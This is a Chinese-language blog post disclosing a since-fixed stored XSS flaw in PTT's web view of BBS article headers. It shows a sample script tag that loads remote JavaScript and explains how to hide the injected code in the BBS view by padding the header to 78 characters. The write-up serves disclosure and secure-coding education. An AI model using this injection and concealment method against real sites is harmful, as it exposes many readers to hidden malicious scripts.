Shaolin.TW

shaolin's 20% time

在 PTT 插 Javascript

註:本文發表時,PTT 官方已經修正這個問題

前言

幾天前從 Facebook 上看到一篇 PTT 的轉錄文章,因為該篇文章沒有斷行,讓我對 BBS 文章轉 HTML 的 parser 運作產生好奇,然後在研究過程中竟意外發現 PTT 可以插入 javascript:

像這樣在 BBS 標題區塊加入 javascript 的文字 bbs_1.png 轉成 html 時因為沒有過濾掉,在 web 介面上 javascript 就被正確執行 web_1.png 在 web 介面上看到的原文變成這樣 web_2.png

PTT 的文章常常在 Facebook 被轉載,擁有擴散率高的特性,如果被植入惡意程式,其實影響範圍不小。 身為目標是維護世界和平的資安研究僧,我開始模擬駭客的思維,猜測駭客可能會關注下面兩點:

  1. 此弱點可利用的長度,至少要放的下 <script src="http://data.shaolin.tw/js/ptt.js"></script> (這是舉例,網址可以更短) 這類的東西才可以做更多事情,不然只是跳出 alert 好像太虛了。

  2. 猜測駭客都有為善不欲人知的特質,即使在 web 介面上看不出被插了 javascipt,但在 BBS 介面大喇喇的被所有人看到自己在這篇文章插 javascript, 應該會有些害羞吧!

所以本篇就來想辦法看看有沒有辦法解決上面兩個問題吧!

思考與實作

前述第一點弱點可利用的長度應該不是什麼大問題,畢竟整塊作者、標題、時間都存在相同的問題,標題欄位要放個 4X 個字元是很足夠的。重點還是該如何在 BBS 介面不被讓人家發現寫了一長串跟內文無關的東西。

那,該如何在 BBS 文章中隱藏那串怪異的程式碼,又必須把它放到作者、標題、時間那的區塊裡面呢?

第一個想法,是利用鄉民低調最常使用的色碼,希望可以在 script 那串文字上面做出藍底藍字的效果,混在標題列就可以不被人發現有貓膩了。可惜的是,標題那塊不能使用色碼 XD

第二個想法,是利用位移碼 + 色碼,希望能夠在文章內文寫下藍底藍字的 script,然後位移到標題藍色區塊,不但解決了第一個想法中標題區塊不能用色碼的問題,在文章內文寫 script 要多長就有多長也不怕不夠用,這真是太聰明的作法了!!!現在只擔心轉換 html 的程式會不會正確處理位移碼而已了,嗯嗯。 興奮之餘趕快去測試了一下,痾,位移碼不能用了~~ 年輕人終究是年輕人,太天真惹XD

最後我想到 BBS 一行可以存 512 個字元,而且在標題藍色區塊,超過 78 個字元的部份似乎都不會顯示。所以只要在標題區塊上任一欄向後補空白字元補滿 78 個字元,後面要放什麼東西都隨便,長度很夠,也不會被顯示出來。很簡單的作法,效果也最好!實作的方式如下面的影片:

至於為什麼不隨便空 n ( n>78 )個空白就好了,而是要剛剛好讓前面是 78 個字元?因為 web 頁面超過 78 個字元就會換行,看起來會很怪,如下圖,藍色區塊多了一行 one_more_line.png

最後成功的 html 長得大概像這樣,要放 iframe 或更多 html tag 都可以了 src.png

結論

本文首先利用了 PTT 轉 HTML 在標題區塊的小疏忽,在 web PTT 上成功插入了 javascript。 接著,利用標題區塊在 BBS 上僅顯示前 78 個字元的特性,在 BBS 介面隱藏了惡意的程式碼。 其實插 javascript 並不是一件稀有的事情,也不需要特別撰文描述,但很少會碰到需要隱藏這些 script 的狀況,所以特別分享之XD

既然都發了這篇文,想要順便提一下一個觀念:『除非真的很確定,否則不要相信任何 input!』。身為程式開發者,當然也會覺得要做到這件事情超麻煩,但在開發的過程中,想想不同的 input 跑到你的程式碼中會變成什麼樣的結果,真的也是一種趣味。而且,這個觀念能帶來的會是安全的程式碼,是應該內化到每個開發者的重要準則阿!

阿對了,我還要說,PTT 修正這個問題的速度超快的啦!寄信沒多久就解了,讚耶!

« Wi-Fi positioning system 欺騙 (2) Facebook 修改文章 API »

Comments